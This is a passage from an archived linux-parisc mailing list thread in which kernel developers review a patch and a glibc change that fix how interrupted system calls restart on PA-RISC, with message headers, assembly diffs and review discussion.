the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Fix syscall restarts
Date: Sun, 20 Dec 2015 15:45:15 -0500
Lines: 36
Approved: news@gmane.org
Message-ID: <6F2339C5-E5A3-4F2B-9E8B-3252B7BADD6D@bell.net>
References: <20151218233034.GA24910@p100.box> <B201D30D-8677-4D06-B3F9-EA4494972EF5@bell.net> <56770606.9020005@gmx.de> <A804D424-7C3E-4639-9EC4-5A52653EE0DD@bell.net> <56770D01.9010608@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1450644330 27820 80.91.229.3 (20 Dec 2015 20:45:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 20 Dec 2015 20:45:30 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 20 21:45:21 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aAkr0-0005d4-H0
	for glpp-linux-parisc@plane.gmane.org; Sun, 20 Dec 2015 21:45:18 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750778AbbLTUpS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 20 Dec 2015 15:45:18 -0500
Original-Received: from belmont79srvr.owm.bell.net ([184.150.200.79]:14114 "EHLO
	mtlfep01.bell.net" rhost-flags-OK-FAIL-OK-FAIL) by vger.kernel.org
	with ESMTP id S1750714AbbLTUpR convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 20 Dec 2015 15:45:17 -0500
Original-Received: from bell.net mtlfep01 184.150.200.30 by mtlfep01.bell.net
          with ESMTP
          id <20151220204515.WEDX19075.mtlfep01.bell.net@mtlspm02.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sun, 20 Dec 2015 15:45:15 -0500
Original-Received: from [192.168.2.10] (really [70.53.62.134]) by mtlspm02.bell.net
          with ESMTP
          id <20151220204515.QYSF21879.mtlspm02.bell.net@[192.168.2.10]>;
          Sun, 20 Dec 2015 15:45:15 -0500
In-Reply-To: <56770D01.9010608@gmx.de>
X-Mailer: Apple Mail (2.1085)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020203.5677135B.0153,ss=1,re=0.000,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26264
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26264>

On 2015-12-20, at 3:18 PM, Helge Deller wrote:

>>> Nevertheless, it may happen anytime if people forget, that we will see a
>>> "copy" there again, so IMHO it's probably safer to include the workaround in 
>>> kernel too.
>> 
>> 
>> The current patch assumes regs->gr[source_reg] is restored. 
> 
> Yes and no.
> 
> The real problem we actually faced is, that the glibc() syscall function
> uses %r28 (aka the return value of the syscall) as "source_reg".
> That's the reason why we failed with "ENOSYS" in the end, because when we returned
> (before my patch) from the first syscall we returned -ERESTARTSYS
> in %r28 (which is basically correct), but then the "copy %r28,%r20" in
> userspace moved "-ERESTARTSYS" back into %r20, jumped into the kernel, and the
> kernel (correctly) reported back "ENOSYS" since there is no such syscall
> number with the value of "-ERESTARTSYS".
> The problem: %r28 is of course not one of the registers which is being restored.
> Quite complicated... I hope I could explain it somewhat...?

So, the patch doesn't work and we need to fix glibc.  The only other solution is to load
%r20 into %r28 and restore %r28 on a syscall restart.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:11 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Fix syscall restarts
Date: Sun, 20 Dec 2015 15:53:14 -0500
Lines: 31
Approved: news@gmane.org
Message-ID: <6F2369FE-0BB1-4D0E-A3C6-BC7DF623FE4F@bell.net>
References: <20151218233034.GA24910@p100.box> <6E922C83-B2CF-4B18-94B4-E848EF7305F9@bell.net> <56770D46.3030909@gmx.de> <56770DE1.7050904@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1450644871 3586 80.91.229.3 (20 Dec 2015 20:54:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 20 Dec 2015 20:54:31 +0000 (UTC)
Cc: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Dec 20 21:54:19 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aAkzi-0001MD-Fo
	for glpp-linux-parisc@plane.gmane.org; Sun, 20 Dec 2015 21:54:18 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750786AbbLTUyC (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 20 Dec 2015 15:54:02 -0500
Original-Received: from belmont79srvr.owm.bell.net ([184.150.200.79]:13024 "EHLO
	mtlfep01.bell.net" rhost-flags-OK-FAIL-OK-FAIL) by vger.kernel.org
	with ESMTP id S1751076AbbLTUxQ (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 20 Dec 2015 15:53:16 -0500
Original-Received: from bell.net mtlfep01 184.150.200.30 by mtlfep01.bell.net
          with ESMTP
          id <20151220205314.WFZF19075.mtlfep01.bell.net@mtlspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sun, 20 Dec 2015 15:53:14 -0500
Original-Received: from [192.168.2.10] (really [70.53.62.134]) by mtlspm01.bell.net
          with ESMTP
          id <20151220205314.RADV4210.mtlspm01.bell.net@[192.168.2.10]>;
          Sun, 20 Dec 2015 15:53:14 -0500
In-Reply-To: <56770DE1.7050904@gmx.de>
X-Mailer: Apple Mail (2.1085)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020206.5677153A.0146,ss=1,re=0.000,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26265
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26265>

On 2015-12-20, at 3:21 PM, Helge Deller wrote:

> On 20.12.2015 21:19, Helge Deller wrote:
>> On 20.12.2015 21:14, John David Anglin wrote:
>>> On 2015-12-18, at 6:30 PM, Helge Deller wrote:
>>> 
>>>> +	/* Get assembler opcode of code in delay branch */
>>>> +	uaddr = (unsigned int *) (regs->gr[31] + 1);
>>> 
>>> Shouldn't increment be 4?
>> 
>> No.
>> The first address which is being executed in userspace is regs->gr[31]-3.
> 
> I could (should?) have used
> 	uaddr = (unsigned int *) ((regs->gr[31] & ~3) + 4);


Possibly that is better.  The former assumes user space is at level 3.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Fix syscall restarts
Date: Sun, 20 Dec 2015 18:57:19 -0500
Lines: 75
Approved: news@gmane.org
Message-ID: <70AB971F-59D1-4F1C-9CBA-C100FAE74FB7@bell.net>
References: <20151218233034.GA24910@p100.box> <1947554021.268870.1450619952347.JavaMail.zimbra@efficios.com> <1102516129.268911.1450620565285.JavaMail.zimbra@efficios.com> <5676CE11.9020808@gmx.de> <485EBA8B-C9F3-4A5C-9962-ADD70134B52C@bell.net> <56770264.90706@gmx.de> <DB44FC0C-734A-477F-BA28-2271D151F15C@bell.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: multipart/mixed; boundary=Apple-Mail-2--97763325
X-Trace: ger.gmane.org 1450655852 8381 80.91.229.3 (20 Dec 2015 23:57:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 20 Dec 2015 23:57:32 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	Mathieu Desnoyers <mathieu.desnoyers@efficios.com>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 21 00:57:24 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aAnqt-00015X-MY
	for glpp-linux-parisc@plane.gmane.org; Mon, 21 Dec 2015 00:57:24 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750806AbbLTX5V (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 20 Dec 2015 18:57:21 -0500
Original-Received: from belmont80srvr.owm.bell.net ([184.150.200.80]:61775 "EHLO
	mtlfep02.bell.net" rhost-flags-OK-OK-OK-FAIL) by vger.kernel.org
	with ESMTP id S1750791AbbLTX5V (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 20 Dec 2015 18:57:21 -0500
Original-Received: from bell.net mtlfep02 184.150.200.30 by mtlfep02.bell.net
          with ESMTP
          id <20151220235719.OZAF24954.mtlfep02.bell.net@mtlspm01.bell.net>
          for <linux-parisc@vger.kernel.org>;
          Sun, 20 Dec 2015 18:57:19 -0500
Original-Received: from [192.168.2.10] (really [70.53.62.134]) by mtlspm01.bell.net
          with ESMTP
          id <20151220235719.STRW4210.mtlspm01.bell.net@[192.168.2.10]>;
          Sun, 20 Dec 2015 18:57:19 -0500
In-Reply-To: <DB44FC0C-734A-477F-BA28-2271D151F15C@bell.net>
X-Mailer: Apple Mail (2.1085)
X-Opwv-CommTouchExtSvcRefID: str=0001.0A020203.5677405F.0091,ss=1,re=0.000,fgs=0
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26266
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26266>


--Apple-Mail-2--97763325
Content-Transfer-Encoding: 7bit
Content-Type: text/plain;
	charset=us-ascii

On 2015-12-20, at 2:46 PM, John David Anglin wrote:

> I think we should fix syscall().  It's not used that much.

Attached is glibc fix.  Testing.

Dave
--
John David Anglin	dave.anglin@bell.net



--Apple-Mail-2--97763325
Content-Disposition: attachment;
	filename=syscall-restart.d.txt
Content-Type: text/plain;
	name="syscall-restart.d.txt"
Content-Transfer-Encoding: quoted-printable

diff --git a/sysdeps/unix/sysv/linux/hppa/syscall.c =
b/sysdeps/unix/sysv/linux/hppa/syscall.c
index 958fa47..9c7ee4f 100644
--- a/sysdeps/unix/sysv/linux/hppa/syscall.c
+++ b/sysdeps/unix/sysv/linux/hppa/syscall.c
@@ -48,8 +48,9 @@ syscall (long int __sysno, ...)
     PIC_REG_DEF
     LOAD_REGS_6
     asm volatile (SAVE_ASM_PIC
-		  "	ble  0x100(%%sr2, %%r0)	\n"
 		  "	copy %1, %%r20		\n"
+		  "	ble  0x100(%%sr2, %%r0)	\n"
+		  "	nop			\n"
 		  LOAD_ASM_PIC
 		  : "=3Dr" (__res)
 		  : "r" (__sysno) PIC_REG_USE ASM_ARGS_6
diff --git a/sysdeps/unix/sysv/linux/hppa/sysdep.h =
b/sysdeps/unix/sysv/linux/hppa/sysdep.h
index 2cae70f..cc16c1a 100644
--- a/sysdeps/unix/sysv/linux/hppa/sysdep.h
+++ b/sysdeps/unix/sysv/linux/hppa/sysdep.h
@@ -434,8 +434,9 @@ L(pre_end):					=
ASM_LINE_SEP	\
 		/* FIXME: HACK save/load r19 around syscall */		=
\
 		asm volatile(						=
\
 			SAVE_ASM_PIC					=
\
-			"	ble  0x100(%%sr2, %%r0)\n"		=
\
 			"	copy %1, %%r20\n"			=
\
+			"	ble  0x100(%%sr2, %%r0)\n"		=
\
+			"	nop\n"					=
\
 			LOAD_ASM_PIC					=
\
 			: "=3Dr" (__res)					=
\
 			: "r" (name) PIC_REG_USE ASM_ARGS_##nr		=
\

--Apple-Mail-2--97763325--
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Fix syscall restarts
Date: Mon, 21 Dec 2015 00:03:46 -0800
Lines: 186
Approved: news@gmane.org
Message-ID: <1450685026.2256.20.camel@HansenPartnership.com>
References: <20151218233034.GA24910@p100.box>
	 <1947554021.268870.1450619952347.JavaMail.zimbra@efficios.com>
	 <1102516129.268911.1450620565285.JavaMail.zimbra@efficios.com>
	 <5676CE11.9020808@gmx.de> <1450630202.2256.5.camel@HansenPartnership.com>
	 <56771114.6030201@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1450685044 18337 80.91.229.3 (21 Dec 2015 08:04:04 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 21 Dec 2015 08:04:04 +0000 (UTC)
Cc: linux-parisc <linux-parisc@vger.kernel.org>,
	John David Anglin <dave.anglin@bell.net>
To: Helge Deller <deller@gmx.de>,
	Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 21 09:03:51 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aAvRd-0007PS-S8
	for glpp-linux-parisc@plane.gmane.org; Mon, 21 Dec 2015 09:03:50 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751299AbbLUIDt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 21 Dec 2015 03:03:49 -0500
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:52104 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751125AbbLUIDs (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Mon, 21 Dec 2015 03:03:48 -0500
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id DA3E08EE2C4;
	Mon, 21 Dec 2015 00:03:47 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
	s=20151216; t=1450685027;
	bh=D5XeHWjxVaypzP7/SZqo15l9x4yb+OLy/aa3fEcDLPw=;
	h=Subject:From:To:Cc:Date:In-Reply-To:References:From;
	b=rssUkGVbO8J3nkcGV5UiPFuToheXPx9c7GCvDtGfNJQhxDpAJJ9yor4I6ND9DHgBX
	 GjhdJ/wpKkzqaiAhJl1bIKj5qUPe669RRlN3aZPIeEw/qFvUTCZI8to8OQbLXjjicF
	 pDPIURx0RHGye7cff2E+rg+fraZ3jOpe7NQrS1No=
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id j1ZmZ3ZEx3yg; Mon, 21 Dec 2015 00:03:47 -0800 (PST)
Original-Received: from [153.66.254.194] (unknown [184.11.141.41])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id 671928EE0A4;
	Mon, 21 Dec 2015 00:03:47 -0800 (PST)
DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=hansenpartnership.com;
	s=20151216; t=1450685027;
	bh=D5XeHWjxVaypzP7/SZqo15l9x4yb+OLy/aa3fEcDLPw=;
	h=Subject:From:To:Cc:Date:In-Reply-To:References:From;
	b=rssUkGVbO8J3nkcGV5UiPFuToheXPx9c7GCvDtGfNJQhxDpAJJ9yor4I6ND9DHgBX
	 GjhdJ/wpKkzqaiAhJl1bIKj5qUPe669RRlN3aZPIeEw/qFvUTCZI8to8OQbLXjjicF
	 pDPIURx0RHGye7cff2E+rg+fraZ3jOpe7NQrS1No=
In-Reply-To: <56771114.6030201@gmx.de>
X-Mailer: Evolution 3.16.5 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26267
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26267>

On Sun, 2015-12-20 at 21:35 +0100, Helge Deller wrote:
> On 20.12.2015 17:50, James Bottomley wrote:
> > On Sun, 2015-12-20 at 16:49 +0100, Helge Deller wrote:
> > > On 20.12.2015 15:09, Mathieu Desnoyers wrote:
> > > > ----- On Dec 20, 2015, at 8:59 AM, Mathieu Desnoyers 
> > > > mathieu.desnoyers@efficios.com wrote:
> > > > 
> > > > > ----- On Dec 18, 2015, at 6:30 PM, Helge Deller deller@gmx.de
> > > > >  wro
> > > > > te:
> > > > > 
> > > > > > On parisc syscalls which are interrupted by signals
> > > > > > sometimes
> > > > > > fail to restart
> > > > > > and instead return -ENOSYS which then in the worst case
> > > > > > lead to
> > > > > > userspace
> > > > > > crashes.
> > > > > > A similiar problem existed on MIPS and was fixed by commit
> > > > > > e967ef02
> > > > > > ("MIPS: Fix restart of indirect syscalls").
> > > > > > 
> > > > > > On parisc the current syscall restart code assumes hat the
> > > > > > syscall number is
> > > > > > always loaded in the delay branch of the ble instruction as
> > > > > > defined in the
> > > > > > unistd.h header file and as such never restored %r20 before
> > > > > > returning to
> > > > > > userspace:
> > > > > > 	ble 0x100(%sr2, %r0)
> > > > > > 	ldi #syscall_nr, %r20
> > > > > > 
> > > > > > This assumption is at least not true for code which uses
> > > > > > the
> > > > > > syscall() glibc
> > > > > > function, which instead uses this syntax:
> > > > > > 	ble 0x100(%sr2, %r0)
> > > > > > 	copy regX, %r20
> > > > > > where regX depend on how the compiler optimizes the code
> > > > > > and
> > > > > > register usage.
> > > > > > 
> > > > > > This patch fixes this problem by adding code to analyze how
> > > > > > the
> > > > > > syscall number
> > > > > > is loaded in the delay branch and - if needed - copy the
> > > > > > syscall number to regX
> > > > > > prior returning to userspace for the syscall restart.
> > > > > > 
> > > > > > Signed-off-by: Helge Deller <deller@gmx.de>
> > > > > > Cc: stable@vger.kernel.org
> > > > > > Cc: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
> > > > > > 
> > > > > > diff --git a/arch/parisc/kernel/signal.c
> > > > > > b/arch/parisc/kernel/signal.c
> > > > > > index dc1ea79..b0414ad 100644
> > > > > > --- a/arch/parisc/kernel/signal.c
> > > > > > +++ b/arch/parisc/kernel/signal.c
> > > > > > @@ -435,6 +435,48 @@ handle_signal(struct ksignal *ksig,
> > > > > > struct
> > > > > > pt_regs *regs,
> > > > > > int in_syscall)
> > > > > > 		regs->gr[28]);
> > > > > > }
> > > > > > 
> > > > > > +/*
> > > > > > + * Check the delay branch in userspace how the syscall
> > > > > > number
> > > > > > gets loaded into
> > > > > > + * %r20 and adjust as needed.
> > > > > 
> > > > > I'm pretty sure "Check the delay branch in userspace how the
> > > > > syscall..."
> > > > > is not an English construct. ;-) Suggested rewording:
> > > > > 
> > > > > "Check how the syscall number gets loaded into %r20 within
> > > > > the delay branch in userspace and adjust as needed."
> > > 
> > > Thanks!
> > > I'll change that.
> > > 
> > > 
> > > > > > + */
> > > > > > +
> > > > > > +static void check_syscallno_in_delay_branch(struct pt_regs
> > > > > > *regs)
> > > > > > +{
> > > > > > +	unsigned int opcode, source_reg;
> > > > > 
> > > > > Why "unsigned int" above rather than u32 ? Since we're using
> > > > > opcode as target variable for a get_user, it would be clearer
> > > > > if the type of the __user * match the type of the target
> > > > > kernel
> > > > > variable. (understood that those happen to have the same
> > > > > bitness
> > > > > and type size on all Linux architectures, but it would be
> > > > > clearer
> > > > > nevertheless).
> > > 
> > > Yes, seems OK.
> > > I'll change that.
> > > 
> > > > > > +	u32 __user *uaddr;
> > > > > > +
> > > > > > +	/* Usually we don't have to restore %r20 (the
> > > > > > system
> > > > > > call number)
> > > > > > +	 * because it gets loaded in the delay slot of the
> > > > > > branch external
> > > > > > +	 * instruction via the ldi instruction.
> > > > > > +	 * In some cases a register-to-register copy
> > > > > > instruction might have
> > > > > > +	 * been used instead, in which case we need to
> > > > > > copy
> > > > > > the syscall
> > > > > > +	 * number into the source register before
> > > > > > returning to
> > > > > > userspace.
> > > > > > +	 */
> > > > > > +
> > > > > > +	/* A syscall is just a branch, so all
> > > > > > +	 * we have to do is fiddle the return pointer.
> > > > > > +	 */
> > > > > > +	regs->gr[31] -= 8; /* delayed branching */
> > > > > > +
> > > > > > +	/* Get assembler opcode of code in delay branch */
> > > > > > +	uaddr = (unsigned int *) (regs->gr[31] + 1);
> > > > > > +	get_user(opcode, uaddr);
> > > > > 
> > > > > get_user() can fail due to EFAULT. This error should be
> > > > > handled here, otherwise this could lead to the following
> > > > > code using an uninitialized opcode variable, which could
> > > > > indirectly leak a few bits of kernel stack information
> > > > > to userspace (security concern). One attack vector I have
> > > > > in mind for this is ptrace(), which might be able to tweak
> > > > > those register values.
> > > 
> > > Yes, generally get_user() can fail.
> > > But this would be rather strange in that case, because
> > > the syscall was started by userspace from this address.
> > > So, without the code at that address in userspace, we would
> > > never have reached this get_user().
> > 
> > Actually, that's not necessarily a safe assumption.  Any memory
> > allocation in a syscall path (except GFP_ATOMIC) can trigger
> > reclaim
> > and since this is a signal restart path, that's entirely possible. 
> >  Reclaim could pull the backing page out from under the syscall, so
> > in
> > a low memory situation it is possible get_user() could fail with
> > EFAULT
> 
> Really?
> Maybe I misunderstood...?
> So, let's say we have low memory and the kernel "swapped" out the
> userspace.
> I assume that when there is no memory pressure get_user() would
> pull the page in again, and if it's memory pressure, then with the
> assumption 
> there is no memory left it probably return EFAULT (is that true?).
> But what happens then when we return to userspace? 
> I expect userspace then to segfault.
> 
> I will add the check for EFAULT, but just trying to understand...

Actually, you're right, I was misremembering why these functions return
EFAULT.  It's if the access is invalid.  They will actually try to page
back in via the fault handler if the backing has gone.

James

> > unless get_user_page() has been called somewhere to pin the page.
> 
> Helge
> --
> To unsubscribe from this list: send the line "unsubscribe linux
> -parisc" in
> the body of a message to majordomo@vger.kernel.org
> More majordomo info at  http://vger.kernel.org/majordomo-info.html
> 

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:12 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [PATCH] parisc: Fix syscall restarts (v2)
Date: Mon, 21 Dec 2015 10:19:33 +0100
Lines: 126
Approved: news@gmane.org
Message-ID: <20151221091933.GA22935@p100.box>
References: <20151218233034.GA24910@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1450689594 24634 80.91.229.3 (21 Dec 2015 09:19:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Mon, 21 Dec 2015 09:19:54 +0000 (UTC)
Cc: Mathieu Desnoyers <mathieu.desnoyers@efficios.com>
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Mon Dec 21 10:19:48 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aAwd9-0005Yn-JN
	for glpp-linux-parisc@plane.gmane.org; Mon, 21 Dec 2015 10:19:47 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751030AbbLUJTr (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Mon, 21 Dec 2015 04:19:47 -0500
Original-Received: from mout.gmx.net ([212.227.17.21]:63955 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751006AbbLUJTp (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Mon, 21 Dec 2015 04:19:45 -0500
Original-Received: from p100.box ([92.203.16.67]) by mail.gmx.com (mrgmx103) with
 ESMTPSA (Nemesis) id 0MMCSP-1a7OOS400z-0080yu; Mon, 21 Dec 2015 10:19:38
 +0100
Content-Disposition: inline
In-Reply-To: <20151218233034.GA24910@p100.box>
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:vl7Heb6RlUQMPDDul5oLyzgRQm+HeFDykj2KFn+GIndZr/srwoj
 FBZCfP8VqVe9sfaT8FgDKzgHZsBnFEQfMaGSJLCnAmubYLvBYCRIkZLYspNrE6S1v5zQkS1
 DfvS7esHYZpz9GUyQjNpXjwSiWhR+m/ZsOWRzVHOg9UmqPGMz6fRD8C3AW4bEpqgWETcLzp
 4dEFK/pvVcl5GnXgQITyA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:UjlDWqLZocw=:Y0/X9qR4WDLeU9bJ9AtrR1
 sGTQ/BMBmY53cu2mx1UhAFOQbJAlC93cDb5oPfDPJ1DWXTyd07XHVc45UMRqaV7U5ZyMXdblm
 KY0FJV0KWUJPFvyxVWc/IOatobGM9NzgTpIMfd8DI7eCNxi5Rg7RczV0EV4yjSDYjs4XLHnX4
 YxsFknTGNXu7LX3u4DD85zVBPdIMnudPBDbhn+GpRah9K4Bx+0kfWpR/YU9wpLdpqjvFfK3qo
 hJdtUURkI8PmM1ySh9zfrechBPlGeBBQBSXXzpxXu1VheUo8mGArT4A6P4g1Nun4R1CNFCZUa
 Xpfk3dqWGlsd6HKYplddRcnuZXeCfR1G6FFIjGwdNQxz2LzyWFJeQfogXWbJeiwSblFpQUtqM
 uIq4IIcbDd4cAtbL50+KBd1pj+hOXt0l6wP8rcufutpvFjiMZrbUd/B0Oe8wufa7UUJKXoYyf
 wI91YUMOPs2pimfEBIVJ9FprF+udfqqkN0grKWFd4q8HN2PpvlewtHn54E0SntzT9P0kXA1r4
 bqlzNHwWOnROKt0qGMxclqV4ho493zq2vE2GaoQ3mf9+RdUf29CBn0A/HogF30+AY8M/oWWqB
 vlqbQvQcr0R9EniiYa9JgszsLWmi9h5x85NLQWMV2zvPHnsUk6Ezs+UP7GYut8d8pFcoWY3qK
 3xf4zZvtNx+uhluU2aOOuxzO2bJHlqkoN17VetUcxKdMNuAX0bz+AOh2SDbPiue3J7P8aGNY4
 YaqPCWkes4fV2VaDa8TqTy6wGbtNaZtw6gzA01BAFhYOShdqnzvADOnuYik=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26268
